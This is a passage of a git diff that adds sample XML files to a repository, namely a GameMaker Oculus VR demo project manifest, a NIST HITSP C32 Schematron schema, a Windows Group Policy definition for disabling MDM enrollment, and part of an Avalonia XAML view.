+            </Config>
+          </ConfigOptions>
+          <filename></filename>
+        </datafile>
+        <datafile>
+          <name>1.png</name>
+          <exists>-1</exists>
+          <size>8999377</size>
+          <exportAction>2</exportAction>
+          <exportDir></exportDir>
+          <overwrite>0</overwrite>
+          <freeData>-1</freeData>
+          <removeEnd>0</removeEnd>
+          <store>0</store>
+          <ConfigOptions>
+            <Config name="Default">
+              <CopyToMask>9223372036854775807</CopyToMask>
+            </Config>
+          </ConfigOptions>
+          <filename></filename>
+        </datafile>
+        <datafile>
+          <name>2.png</name>
+          <exists>-1</exists>
+          <size>7950799</size>
+          <exportAction>2</exportAction>
+          <exportDir></exportDir>
+          <overwrite>0</overwrite>
+          <freeData>-1</freeData>
+          <removeEnd>0</removeEnd>
+          <store>0</store>
+          <ConfigOptions>
+            <Config name="Default">
+              <CopyToMask>9223372036854775807</CopyToMask>
+            </Config>
+          </ConfigOptions>
+          <filename></filename>
+        </datafile>
+        <datafile>
+          <name>roof.png</name>
+          <exists>-1</exists>
+          <size>2112100</size>
+          <exportAction>2</exportAction>
+          <exportDir></exportDir>
+          <overwrite>0</overwrite>
+          <freeData>-1</freeData>
+          <removeEnd>0</removeEnd>
+          <store>0</store>
+          <ConfigOptions>
+            <Config name="Default">
+              <CopyToMask>9223372036854775807</CopyToMask>
+            </Config>
+          </ConfigOptions>
+          <filename></filename>
+        </datafile>
+      </datafiles>
+      <datafiles number="97" name="effects">
+        <datafile>
+          <name>fire_32.png</name>
+          <exists>-1</exists>
+          <size>19568</size>
+          <exportAction>2</exportAction>
+          <exportDir></exportDir>
+          <overwrite>0</overwrite>
+          <freeData>-1</freeData>
+          <removeEnd>0</removeEnd>
+          <store>0</store>
+          <ConfigOptions>
+            <Config name="Default">
+              <CopyToMask>9223372036854775807</CopyToMask>
+            </Config>
+          </ConfigOptions>
+          <filename></filename>
+        </datafile>
+        <datafile>
+          <name>smoke_32.png</name>
+          <exists>-1</exists>
+          <size>4204</size>
+          <exportAction>2</exportAction>
+          <exportDir></exportDir>
+          <overwrite>0</overwrite>
+          <freeData>-1</freeData>
+          <removeEnd>0</removeEnd>
+          <store>0</store>
+          <ConfigOptions>
+            <Config name="Default">
+              <CopyToMask>9223372036854775807</CopyToMask>
+            </Config>
+          </ConfigOptions>
+          <filename></filename>
+        </datafile>
+        <datafile>
+          <name>flying_fuzzy.png</name>
+          <exists>-1</exists>
+          <size>1003</size>
+          <exportAction>2</exportAction>
+          <exportDir></exportDir>
+          <overwrite>0</overwrite>
+          <freeData>-1</freeData>
+          <removeEnd>0</removeEnd>
+          <store>0</store>
+          <ConfigOptions>
+            <Config name="Default">
+              <CopyToMask>9223372036854775807</CopyToMask>
+            </Config>
+          </ConfigOptions>
+          <filename></filename>
+        </datafile>
+      </datafiles>
+    </datafiles>
+    <datafiles number="97" name="lib">
+      <datafile>
+        <name>RiftSharpDll.dll</name>
+        <exists>-1</exists>
+        <size>142848</size>
+        <exportAction>2</exportAction>
+        <exportDir></exportDir>
+        <overwrite>0</overwrite>
+        <freeData>-1</freeData>
+        <removeEnd>0</removeEnd>
+        <store>0</store>
+        <ConfigOptions>
+          <Config name="Default">
+            <CopyToMask>9223372036854775807</CopyToMask>
+          </Config>
+        </ConfigOptions>
+        <filename></filename>
+      </datafile>
+      <datafile>
+        <name>GMOculus.dll</name>
+        <exists>-1</exists>
+        <size>27648</size>
+        <exportAction>2</exportAction>
+        <exportDir></exportDir>
+        <overwrite>0</overwrite>
+        <freeData>-1</freeData>
+        <removeEnd>0</removeEnd>
+        <store>0</store>
+        <ConfigOptions>
+          <Config name="Default">
+            <CopyToMask>9223372036854775807</CopyToMask>
+          </Config>
+        </ConfigOptions>
+        <filename>GMOculus.dll</filename>
+      </datafile>
+    </datafiles>
+  </datafiles>
+  <NewExtensions/>
+  <sounds name="sound">
+    <sound>sound\snd_fire</sound>
+    <sound>sound\snd_crickets</sound>
+    <sound>sound\snd_rain</sound>
+    <sound>sound\snd_birds</sound>
+  </sounds>
+  <sprites name="sprites">
+    <sprite>sprites\spr_player</sprite>
+    <sprite>sprites\blank_spr</sprite>
+    <sprites name="icons">
+      <sprite>sprites\spr_cam</sprite>
+      <sprite>sprites\spr_fireicon</sprite>
+      <sprite>sprites\spr_lantern</sprite>
+      <sprite>sprites\spr_master_outside_night</sprite>
+      <sprite>sprites\spr_tallgrass</sprite>
+      <sprite>sprites\spr_fern</sprite>
+      <sprite>sprites\spr_tree</sprite>
+      <sprite>sprites\spr_house</sprite>
+    </sprites>
+    <sprite>sprites\spr_rectangle</sprite>
+    <sprite>sprites\spr_logo</sprite>
+    <sprite>sprites\spr_angle</sprite>
+  </sprites>
+  <backgrounds name="background">
+    <background>background\tex_sky</background>
+    <background>background\tex_test</background>
+    <background>background\tex_arrow</background>
+    <background>background\tex_sky_day</background>
+    <background>background\bak_soldier</background>
+  </backgrounds>
+  <paths name="paths"/>
+  <scripts name="scripts">
+    <scripts name="GMOculus">
+      <scripts name="Functions">
+        <script>scripts\GMO_init.gml</script>
+        <scripts name="Interpupillary Distance">
+          <script>scripts\GMO_setIPD.gml</script>
+          <script>scripts\GMO_getIPD.gml</script>
+        </scripts>
+        <scripts name="Resolution">
+          <script>scripts\GMO_setResolution.gml</script>
+          <script>scripts\GMO_getResolutionHeight.gml</script>
+          <script>scripts\GMO_getResolutionWidth.gml</script>
+        </scripts>
+        <scripts name="Camera">
+          <script>scripts\GMO_initCamera.gml</script>
+          <script>scripts\GMO_followObject.gml</script>
+          <script>scripts\GMO_getCameraSurface.gml</script>
+          <script>scripts\GMO_drawCameraSurface.gml</script>
+          <scripts name="Rendering">
+            <script>scripts\GMO_renderCamera.gml</script>
+            <script>scripts\GMO_renderRegular.gml</script>
+            <script>scripts\GMO_renderOculus.gml</script>
+            <script>scripts\GMO_renderAnaglyph.gml</script>
+          </scripts>
+          <scripts name="Getters and Setters">
+            <script>scripts\GMO_getCameraZFar.gml</script>
+            <script>scripts\GMO_getCameraZNear.gml</script>
+            <script>scripts\GMO_setCameraRange.gml</script>
+            <script>scripts\GMO_getCameraAngle.gml</script>
+            <script>scripts\GMO_setCameraAngle.gml</script>
+            <script>scripts\GMO_getCameraMode.gml</script>
+            <script>scripts\GMO_setCameraMode.gml</script>
+          </scripts>
+        </scripts>
+        <scripts name="Audio">
+          <script>scripts\GMO_setUse3DSound.gml</script>
+          <script>scripts\GMO_getUse3DSound.gml</script>
+          <script>scripts\GMO_updateListener.gml</script>
+        </scripts>
+      </scripts>
+      <scripts name="System">
+        <script>scripts\GMO_getSurface.gml</script>
+        <script>scripts\GMO_draw3DInstances.gml</script>
+        <script>scripts\GMO_enableZBuffer.gml</script>
+        <script>scripts\GMO_disableZBuffer.gml</script>
+        <script>scripts\GMO_getVersion.gml</script>
+        <script>scripts\GMO_getVersionString.gml</script>
+        <scripts name="Calculation Functions">
+          <script>scripts\d3d_set_projection_simple.gml</script>
+          <script>scripts\vector_rotate.gml</script>
+          <script>scripts\find_height.gml</script>
+          <script>scripts\mod_to_triList.gml</script>
+          <script>scripts\line_col.gml</script>
+          <script>scripts\ray_coll.gml</script>
+          <scripts name="3d lengthdr">
+            <script>scripts\lengthdir_x_3d.gml</script>
+            <script>scripts\lengthdir_y_3d.gml</script>
+            <script>scripts\lengthdir_z_3d.gml</script>
+            <script>scripts\lengthdir_all_3d.gml</script>
+          </scripts>
+          <script>scripts\inCamera.gml</script>
+          <script>scripts\frustum_culling_init.gml</script>
+          <script>scripts\frustum_culling.gml</script>
+          <script>scripts\updateAudioListener.gml</script>
+        </scripts>
+        <scripts name="Initialisation">
+          <script>scripts\GMO_initShaders.gml</script>
+          <script>scripts\GMO_initSurfaces.gml</script>
+          <script>scripts\GMO_initDefaults.gml</script>
+          <script>scripts\GMO_resetSurfaces.gml</script>
+        </scripts>
+        <scripts name="DLL">
+          <script>scripts\OVR_Init.gml</script>
+          <script>scripts\OVR_Device_init.gml</script>
+          <script>scripts\OVR_Device_getYaw.gml</script>
+          <script>scripts\OVR_Device_getRoll.gml</script>
+          <script>scripts\OVR_beginFrame.gml</script>
+          <script>scripts\OVR_endFrame.gml</script>
+          <script>scripts\OVR_Device_getPitch.gml</script>
+          <script>scripts\OVR_getVersion.gml</script>
+          <script>scripts\OVR_getHMDName.gml</script>
+          <script>scripts\OVR_linkWindowHandle.gml</script>
+          <script>scripts\OVR_getEyePos.gml</script>
+        </scripts>
+      </scripts>
+    </scripts>
+    <scripts name="Demo">
+      <script>scripts\init3D.gml</script>
+      <scripts name="Loaders">
+        <script>scripts\loadTextures.gml</script>
+        <script>scripts\loadModels.gml</script>
+        <script>scripts\getEffectTextureAlpha.gml</script>
+        <script>scripts\getTexture.gml</script>
+        <script>scripts\getEffectTexture.gml</script>
+      </scripts>
+      <scripts name="Player">
+        <script>scripts\playerMovement.gml</script>
+        <script>scripts\playerMouselook.gml</script>
+      </scripts>
+      <scripts name="Light">
+        <script>scripts\getLightId.gml</script>
+        <script>scripts\initLights.gml</script>
+        <script>scripts\setGeneralLight.gml</script>
+        <script>scripts\disableLights.gml</script>
+        <script>scripts\enableLights.gml</script>
+      </scripts>
+      <scripts name="Ratio">
+        <script>scripts\GR_meterToPixel.gml</script>
+        <script>scripts\GR_cmToPixel.gml</script>
+        <script>scripts\GR_init.gml</script>
+      </scripts>
+    </scripts>
+    <scripts name="FPS_Based_Speed">
+      <script>scripts\FPSController_create.gml</script>
+      <script>scripts\FPSController_alarm0.gml</script>
+      <script>scripts\FPSController_step.gml</script>
+      <script>scripts\F_Speed.gml</script>
+    </scripts>
+  </scripts>
+  <shaders name="shaders">
+    <shaders name="GMOculus">
+      <shader type="GLSLES">shaders\GMO_hmdwarp_shader.shader</shader>
+      <shader type="GLSLES">shaders\GMO_colorFilter_shader.shader</shader>
+    </shaders>
+  </shaders>
+  <objects name="objects">
+    <objects name="GMOculus">
+      <objects name="Test objects">
+        <object>objects\obj_player_eyes</object>
+      </objects>
+      <objects name="Controllers">
+        <object>objects\obj_3d_particle</object>
+        <object>objects\obj_3d_parent</object>
+        <object>objects\obj_control</object>
+        <object>objects\obj_game_init</object>
+      </objects>
+    </objects>
+    <objects name="Demo">
+      <objects name="Environment">
+        <object>objects\obj_sky</object>
+        <object>objects\obj_grass</object>
+        <object>objects\obj_fern</object>
+        <object>objects\obj_house</object>
+        <object>objects\obj_fire</object>
+        <object>objects\obj_tree</object>
+        <object>objects\obj_bench</object>
+        <object>objects\obj_woodstack</object>
+        <object>objects\obj_lantern</object>
+        <object>objects\obj_soldier</object>
+        <object>objects\obj_master_outside_night</object>
+        <object>objects\obj_fire_particle_emitter</object>
+        <object>objects\obj_fuzzies</object>
+      </objects>
+      <object>objects\obj_camera</object>
+      <object>objects\obj_player</object>
+    </objects>
+  </objects>
+  <rooms name="rooms">
+    <room>rooms\room_menu</room>
+    <room>rooms\rm_fps</room>
+  </rooms>
+  <constants number="48">
+    <constant name="CAM_MODE_ANA_R_B">5</constant>
+    <constant name="CAM_MODE_ANA_R_G">4</constant>
+    <constant name="CAM_MODE_ANA_R_C">3</constant>
+    <constant name="CAM_MODE_OCULUS">2</constant>
+    <constant name="CAM_MODE_REGULAR">1</constant>
+    <constant name="CAM_FRUSTUM">1</constant>
+    <constant name="SURF_REG_LEFT">5</constant>
+    <constant name="SURF_REG_RIGHT">4</constant>
+    <constant name="SURF_RIGHT">1</constant>
+    <constant name="SURF_LEFT">2</constant>
+    <constant name="SURF_REGULAR">3</constant>
+    <constant name="MOD_TREE_LEAVES">1</constant>
+    <constant name="MOD_TREE_TRUNK">2</constant>
+    <constant name="MOD_FERN">3</constant>
+    <constant name="MOD_SKYBALL">4</constant>
+    <constant name="MOD_ARROW">5</constant>
+    <constant name="MOD_FIREWOOD">6</constant>
+    <constant name="MOD_FIREHAY">7</constant>
+    <constant name="MOD_FIRE">8</constant>
+    <constant name="MOD_EFFECT_PLANE">9</constant>
+    <constant name="MOD_WOODSTACK">10</constant>
+    <constant name="MOD_BENCH">11</constant>
+    <constant name="MOD_EFFECT_PLANE_DETAIL">12</constant>
+    <constant name="MOD_B1">13</constant>
+    <constant name="MOD_B2">14</constant>
+    <constant name="MOD_BROOF">15</constant>
+    <constant name="MOD_SOLDIER">16</constant>
+    <constant name="TEX_BARK">1</constant>
+    <constant name="TEX_FERN">2</constant>
+    <constant name="TEX_LEAVES">3</constant>
+    <constant name="TEX_SKY">4</constant>
+    <constant name="TEX_GRASS">5</constant>
+    <constant name="TEX_TEST">6</constant>
+    <constant name="TEX_HAY">7</constant>
+    <constant name="TEX_FIREWOOD">8</constant>
+    <constant name="TEX_ARROW">9</constant>
+    <constant name="TEX_SMOKE">10</constant>
+    <constant name="TEX_FIRE">11</constant>
+    <constant name="TEX_WOODSTACK">12</constant>
+    <constant name="TEX_BENCH">13</constant>
+    <constant name="TEX_SKY_DAY">14</constant>
+    <constant name="TEX_FLYING_FUZZY">15</constant>
+    <constant name="TEX_B1">16</constant>
+    <constant name="TEX_B2">17</constant>
+    <constant name="TEX_BROOF">18</constant>
+    <constant name="TEX_SOLDIER">19</constant>
+    <constant name="GM_build_date">41855,7436067245</constant>
+    <constant name="GM_version">'0.2.2.0'</constant>
+  </constants>
+  <help>
+    <rtf>help.rtf</rtf>
+  </help>
+  <TutorialState>
+    <IsTutorial>0</IsTutorial>
+    <TutorialName></TutorialName>
+    <TutorialPage>0</TutorialPage>
+  </TutorialState>
+</assets>
diff --git a/samples/XML/HITSP_C32.sch b/samples/XML/HITSP_C32.sch
new file mode 100644
index 0000000000..62750fddff
--- /dev/null
+++ b/samples/XML/HITSP_C32.sch
@@ -0,0 +1,207 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+
+<!--
+Retrieved on 2016-08-30 from http://cda-validation.nist.gov/cda-validation/downloads.html.
+
+Disclaimer from the National Institute of Standards and Technology website:
+
+"Unless otherwise noted, this software was developed at the National Institute of Standards and Technology by employees of the Federal Government in the course of their official duties. Pursuant to title 17 Section 105 of the United States Code this software is not subject to copyright protection and is in the public domain. The CDA Guideline Validator is an experimental system. NIST assumes no responsibility whatsoever for its use by other parties, and makes no guarantees, expressed or implied, about its quality, reliability, or any other characteristic. We would appreciate acknowledgement if the software is used."
+ -->
+
+<!DOCTYPE schema [
+<!ENTITY ent-2.16.840.1.113883.3.88.11.32.1  SYSTEM 'templates/2.16.840.1.113883.3.88.11.32.1.ent'>
+<!ENTITY ent-2.16.840.1.113883.3.88.11.32.2  SYSTEM 'templates/2.16.840.1.113883.3.88.11.32.2.ent'>
+<!ENTITY ent-2.16.840.1.113883.3.88.11.32.3  SYSTEM 'templates/2.16.840.1.113883.3.88.11.32.3.ent'>
+<!ENTITY ent-2.16.840.1.113883.3.88.11.32.4  SYSTEM 'templates/2.16.840.1.113883.3.88.11.32.4.ent'>
+<!ENTITY ent-2.16.840.1.113883.3.88.11.32.5  SYSTEM 'templates/2.16.840.1.113883.3.88.11.32.5.ent'>
+<!ENTITY ent-2.16.840.1.113883.3.88.11.32.6  SYSTEM 'templates/2.16.840.1.113883.3.88.11.32.6.ent'>
+<!ENTITY ent-2.16.840.1.113883.3.88.11.32.7  SYSTEM 'templates/2.16.840.1.113883.3.88.11.32.7.ent'>
+<!ENTITY ent-2.16.840.1.113883.3.88.11.32.8  SYSTEM 'templates/2.16.840.1.113883.3.88.11.32.8.ent'>
+<!ENTITY ent-2.16.840.1.113883.3.88.11.32.9  SYSTEM 'templates/2.16.840.1.113883.3.88.11.32.9.ent'>
+<!ENTITY ent-2.16.840.1.113883.3.88.11.32.10  SYSTEM 'templates/2.16.840.1.113883.3.88.11.32.10.ent'>
+<!ENTITY ent-2.16.840.1.113883.3.88.11.32.11  SYSTEM 'templates/2.16.840.1.113883.3.88.11.32.11.ent'>
+<!ENTITY ent-2.16.840.1.113883.3.88.11.32.12  SYSTEM 'templates/2.16.840.1.113883.3.88.11.32.12.ent'>
+<!ENTITY ent-2.16.840.1.113883.3.88.11.32.13  SYSTEM 'templates/2.16.840.1.113883.3.88.11.32.13.ent'>
+<!ENTITY ent-2.16.840.1.113883.3.88.11.32.14  SYSTEM 'templates/2.16.840.1.113883.3.88.11.32.14.ent'>
+<!ENTITY ent-2.16.840.1.113883.3.88.11.32.15  SYSTEM 'templates/2.16.840.1.113883.3.88.11.32.15.ent'>
+<!ENTITY ent-2.16.840.1.113883.3.88.11.32.16  SYSTEM 'templates/2.16.840.1.113883.3.88.11.32.16.ent'>
+<!ENTITY ent-2.16.840.1.113883.3.88.11.32.17  SYSTEM 'templates/2.16.840.1.113883.3.88.11.32.17.ent'>
+]>
+<schema xmlns="http://www.ascc.net/xml/schematron" xmlns:cda="urn:hl7-org:v3">
+    <!--
+        To use iso schematron instead of schematron 1.5,
+        change the xmlns attribute from
+        "http://www.ascc.net/xml/schematron"
+        to
+        "http://purl.oclc.org/dsdl/schematron"
+    -->
+    <title>HITSP_C32</title>
+    <ns prefix="cda" uri="urn:hl7-org:v3"/>
+    <ns prefix="sdtc" uri="urn:hl7-org:sdtc"/>
+    <ns prefix="xsi" uri="http://www.w3.org/2001/XMLSchema-instance"/>
+
+    <phase id='errors'>
+        <active pattern='p-2.16.840.1.113883.3.88.11.32.1-errors'/>
+        <active pattern='p-2.16.840.1.113883.3.88.11.32.2-errors'/>
+        <active pattern='p-2.16.840.1.113883.3.88.11.32.3-errors'/>
+        <active pattern='p-2.16.840.1.113883.3.88.11.32.4-errors'/>
+        <active pattern='p-2.16.840.1.113883.3.88.11.32.5-errors'/>
+        <active pattern='p-2.16.840.1.113883.3.88.11.32.6-errors'/>
+        <active pattern='p-2.16.840.1.113883.3.88.11.32.7-errors'/>
+        <active pattern='p-2.16.840.1.113883.3.88.11.32.8-errors'/>
+        <active pattern='p-2.16.840.1.113883.3.88.11.32.9-errors'/>
+        <active pattern='p-2.16.840.1.113883.3.88.11.32.10-errors'/>
+        <active pattern='p-2.16.840.1.113883.3.88.11.32.11-errors'/>
+        <active pattern='p-2.16.840.1.113883.3.88.11.32.12-errors'/>
+        <active pattern='p-2.16.840.1.113883.3.88.11.32.13-errors'/>
+        <active pattern='p-2.16.840.1.113883.3.88.11.32.14-errors'/>
+        <active pattern='p-2.16.840.1.113883.3.88.11.32.15-errors'/>
+        <active pattern='p-2.16.840.1.113883.3.88.11.32.16-errors'/>
+        <active pattern='p-2.16.840.1.113883.3.88.11.32.17-errors'/>
+    </phase>
+
+    <phase id='warning'>
+        <active pattern='p-2.16.840.1.113883.3.88.11.32.1-warning'/>
+        <active pattern='p-2.16.840.1.113883.3.88.11.32.2-warning'/>
+        <active pattern='p-2.16.840.1.113883.3.88.11.32.3-warning'/>
+        <active pattern='p-2.16.840.1.113883.3.88.11.32.4-warning'/>
+        <active pattern='p-2.16.840.1.113883.3.88.11.32.5-warning'/>
+        <active pattern='p-2.16.840.1.113883.3.88.11.32.6-warning'/>
+        <active pattern='p-2.16.840.1.113883.3.88.11.32.7-warning'/>
+        <active pattern='p-2.16.840.1.113883.3.88.11.32.8-warning'/>
+        <active pattern='p-2.16.840.1.113883.3.88.11.32.9-warning'/>
+        <active pattern='p-2.16.840.1.113883.3.88.11.32.10-warning'/>
+        <active pattern='p-2.16.840.1.113883.3.88.11.32.11-warning'/>
+        <active pattern='p-2.16.840.1.113883.3.88.11.32.12-warning'/>
+        <active pattern='p-2.16.840.1.113883.3.88.11.32.13-warning'/>
+        <active pattern='p-2.16.840.1.113883.3.88.11.32.14-warning'/>
+        <active pattern='p-2.16.840.1.113883.3.88.11.32.15-warning'/>
+        <active pattern='p-2.16.840.1.113883.3.88.11.32.16-warning'/>
+        <active pattern='p-2.16.840.1.113883.3.88.11.32.17-warning'/>
+    </phase>
+
+     <phase id='note'>
+         <active pattern='p-2.16.840.1.113883.3.88.11.32.1-note'/>
+         <active pattern='p-2.16.840.1.113883.3.88.11.32.2-note'/>
+         <active pattern='p-2.16.840.1.113883.3.88.11.32.3-note'/>
+         <active pattern='p-2.16.840.1.113883.3.88.11.32.4-note'/>
+         <active pattern='p-2.16.840.1.113883.3.88.11.32.5-note'/>
+         <active pattern='p-2.16.840.1.113883.3.88.11.32.6-note'/>
+         <active pattern='p-2.16.840.1.113883.3.88.11.32.7-note'/>
+         <active pattern='p-2.16.840.1.113883.3.88.11.32.8-note'/>
+         <active pattern='p-2.16.840.1.113883.3.88.11.32.9-note'/>
+         <active pattern='p-2.16.840.1.113883.3.88.11.32.10-note'/>
+         <active pattern='p-2.16.840.1.113883.3.88.11.32.11-note'/>
+         <active pattern='p-2.16.840.1.113883.3.88.11.32.12-note'/>
+         <active pattern='p-2.16.840.1.113883.3.88.11.32.13-note'/>
+         <active pattern='p-2.16.840.1.113883.3.88.11.32.14-note'/>
+         <active pattern='p-2.16.840.1.113883.3.88.11.32.15-note'/>
+         <active pattern='p-2.16.840.1.113883.3.88.11.32.16-note'/>
+         <active pattern='p-2.16.840.1.113883.3.88.11.32.17-note'/>
+     </phase>
+
+     <phase id='violation'>
+
+<active pattern='p-2.16.840.1.113883.3.88.11.32.4-violation'/>
+<active pattern='p-2.16.840.1.113883.3.88.11.32.5-violation'/>
+<active pattern='p-2.16.840.1.113883.3.88.11.32.6-violation'/>
+<active pattern='p-2.16.840.1.113883.3.88.11.32.7-violation'/>
+<active pattern='p-2.16.840.1.113883.3.88.11.32.8-violation'/>
+<active pattern='p-2.16.840.1.113883.3.88.11.32.9-violation'/>
+<active pattern='p-2.16.840.1.113883.3.88.11.32.10-violation'/>
+<active pattern='p-2.16.840.1.113883.3.88.11.32.11-violation'/>
+<active pattern='p-2.16.840.1.113883.3.88.11.32.12-violation'/>
+<active pattern='p-2.16.840.1.113883.3.88.11.32.13-violation'/>
+<active pattern='p-2.16.840.1.113883.3.88.11.32.14-violation'/>
+<active pattern='p-2.16.840.1.113883.3.88.11.32.15-violation'/>
+<active pattern='p-2.16.840.1.113883.3.88.11.32.16-violation'/>
+<active pattern='p-2.16.840.1.113883.3.88.11.32.17-violation'/>
+
+     </phase>
+
+    <!-- Template_2.16.840.1.113883.3.88.11.32.1 -->
+    <!-- HITSP/C32 Registration and Medication History -->
+
+    &ent-2.16.840.1.113883.3.88.11.32.1;
+
+    <!-- Template_2.16.840.1.113883.3.88.11.32.2 -->
+    <!-- HITSP/C32 Language Spoken Module -->
+
+    &ent-2.16.840.1.113883.3.88.11.32.2;
+
+    <!-- Template_2.16.840.1.113883.3.88.11.32.3 -->
+    <!-- HITSP/C32 Support Module -->
+
+    &ent-2.16.840.1.113883.3.88.11.32.3;
+
+    <!-- Template_2.16.840.1.113883.3.88.11.32.4 -->
+    <!-- HITSP/C32 Healthcare Provider Module -->
+
+    &ent-2.16.840.1.113883.3.88.11.32.4;
+
+    <!-- Template_2.16.840.1.113883.3.88.11.32.5 -->
+    <!-- HITSP/C32 Insurance Provider Module -->
+
+    &ent-2.16.840.1.113883.3.88.11.32.5;
+
+    <!-- Template_2.16.840.1.113883.3.88.11.32.6 -->
+    <!-- HITSP/C32 Allergies and Drug Sensitivities Module -->
+
+    &ent-2.16.840.1.113883.3.88.11.32.6;
+
+    <!-- Template_2.16.840.1.113883.3.88.11.32.7 -->
+    <!-- HITSP/C32 Conditions Module -->
+
+    &ent-2.16.840.1.113883.3.88.11.32.7;
+
+    <!-- Template_2.16.840.1.113883.3.88.11.32.8 -->
+    <!-- HITSP/C32 Medications - Administration Information Module -->
+
+    &ent-2.16.840.1.113883.3.88.11.32.8;
+
+    <!-- Template_2.16.840.1.113883.3.88.11.32.9 -->
+    <!-- HITSP/C32 Medications Module, Medication Information data element -->
+
+    &ent-2.16.840.1.113883.3.88.11.32.9;
+
+    <!-- Template_2.16.840.1.113883.3.88.11.32.10 -->
+    <!-- HITSP/C32 Medications Module, Medication Information, Type of Medication data element -->
+
+    &ent-2.16.840.1.113883.3.88.11.32.10;
+
+    <!-- Template_2.16.840.1.113883.3.88.11.32.11 -->
+    <!-- HITSP/C32 Order Information data element -->
+
+    &ent-2.16.840.1.113883.3.88.11.32.11;
+
+    <!-- Template_2.16.840.1.113883.3.88.11.32.12 -->
+    <!-- HITSP/C32 Comments Module -->
+
+    &ent-2.16.840.1.113883.3.88.11.32.12;
+
+    <!-- Template_2.16.840.1.113883.3.88.11.32.13 -->
+    <!-- HITSP/C32 Advance Directives Module -->
+
+    &ent-2.16.840.1.113883.3.88.11.32.13;
+
+    <!-- Template_2.16.840.1.113883.3.88.11.32.14 -->
+    <!-- HITSP/C32 Immunizations Module -->
+
+    &ent-2.16.840.1.113883.3.88.11.32.14;
+
+    <!-- Template_2.16.840.1.113883.3.88.11.32.15 -->
+    <!-- HITSP/C32 Vital Signs Module -->
+
+    &ent-2.16.840.1.113883.3.88.11.32.15;
+
+    <!-- Template_2.16.840.1.113883.3.88.11.32.16 -->
+    <!-- HITSP/C32 Results Module -->
+
+    &ent-2.16.840.1.113883.3.88.11.32.16;
+
+    <!-- Template_2.16.840.1.113883.3.88.11.32.17 -->
+    <!-- HITSP/C32 Encounters Module -->
+
+    &ent-2.16.840.1.113883.3.88.11.32.17;
+
+</schema>
diff --git a/samples/XML/MDM.adml b/samples/XML/MDM.adml
new file mode 100644
index 0000000000..f9ddfeb216
--- /dev/null
+++ b/samples/XML/MDM.adml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--  (c) 2016 Microsoft Corporation  -->
+<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">
+  <displayName>enter display name here</displayName>
+  <description>enter description here</description>
+  <resources>
+    <stringTable>
+      <string id="MDM">MDM</string>
+      <string id="MDM_MDM_DisplayName">Disable MDM Enrollment</string>
+      <string id="MDM_MDM_Help">This policy setting specifies whether Mobile Device Management (MDM) Enrollment is allowed. When MDM is enabled, it allows the user to have the computer remotely managed by a MDM Server.  
+
+If you do not configure this policy setting, MDM Enrollment will be enabled. 
+
+If you enable this policy setting, MDM Enrollment will be disabled for all users. It will not unenroll existing MDM enrollments.
+
+If you disable this policy setting, MDM Enrollment will be enabled for all users.
+</string>
+    </stringTable>
+  </resources>
+</policyDefinitionResources>
diff --git a/samples/XML/MDM.admx b/samples/XML/MDM.admx
new file mode 100644
index 0000000000..53e8a2d8a9
--- /dev/null
+++ b/samples/XML/MDM.admx
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--  (c) 2016 Microsoft Corporation  -->
+<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">
+  <policyNamespaces>
+    <target prefix="mdm" namespace="Microsoft.Policies.MDM" />
+    <using prefix="windows" namespace="Microsoft.Policies.Windows" />
+  </policyNamespaces>
+  <resources minRequiredRevision="1.0" />
+  <categories>
+    <category name="MDM" displayName="$(string.MDM)">
+      <parentCategory ref="windows:WindowsComponents" />
+    </category>
+  </categories>
+  <policies>
+    <policy name="MDM_MDM_DisplayName" class="Machine" displayName="$(string.MDM_MDM_DisplayName)" explainText="$(string.MDM_MDM_Help)" key="Software\Policies\Microsoft\Windows\CurrentVersion\MDM" valueName="DisableRegistration">
+      <parentCategory ref="MDM" />
+      <supportedOn ref="windows:SUPPORTED_Windows_10_0_NOSERVER" />
+      <enabledValue>
+        <decimal value="1" />
+      </enabledValue>
+      <disabledValue>
+        <decimal value="0" />
+      </disabledValue>
+    </policy>
+  </policies>
+</policyDefinitions>
diff --git a/samples/XML/MainView.axaml b/samples/XML/MainView.axaml
new file mode 100644
index 0000000000..9a9834a223
--- /dev/null
+++ b/samples/XML/MainView.axaml
@@ -0,0 +1,62 @@
+<UserControl x:Class="BehaviorsTestApplication.Views.MainView"
+             xmlns="https://github.com/avaloniaui"
+             xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
+             xmlns:pages="using:BehaviorsTestApplication.Views.Pages"
+             xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
+             xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
+             xmlns:vm="using:BehaviorsTestApplication.ViewModels"
+             x:CompileBindings="True" x:DataType="vm:MainWindowViewModel"
+             mc:Ignorable="d" d:DesignWidth="1000" d:DesignHeight="700">
+  <UserControl.Styles>
+    <Style Selector="TabItem">
+      <Setter Property="FontSize" Value="16" />
+    </Style>
+  </UserControl.Styles>
+  <TabControl Classes="sidebar">
+    <TabItem Header="CallMethodAction">
+      <pages:CallMethodActionView />
+    </TabItem>
+    <TabItem Header="ChangePropertyAction">
+      <pages:ChangePropertyActionView />
+    </TabItem>
+    <TabItem Header="DataTriggerBehavior">
+      <pages:DataTriggerBehaviorView />
+    </TabItem>
+    <TabItem Header="ValueChangedTriggerBehavior">
+      <pages:ValueChangedTriggerBehaviorView />
+    </TabItem>
+    <TabItem Header="EventTriggerBehavior">
+      <pages:EventTriggerBehaviorView />
+    </TabItem>
+    <TabItem Header="InvokeCommandAction">
+      <pages:InvokeCommandActionView />
+    </TabItem>
+    <TabItem Header="Custom Action">
+      <pages:CustomActionView />
+    </TabItem>
+    <TabItem Header="Custom Behavior">
+      <pages:CustomBehaviorView />
+    </TabItem>
+    <TabItem Header="ButtonClickEventTriggerBehaviorView">
+      <pages:ButtonClickEventTriggerBehaviorView />
+    </TabItem>
+    <TabItem Header="Advanced Behavior">
+      <pages:AdvancedView />
+    </TabItem>
+    <TabItem Header="Add/RemoveClassAction">
+      <pages:AddRemoveClassActionView />
+    </TabItem>
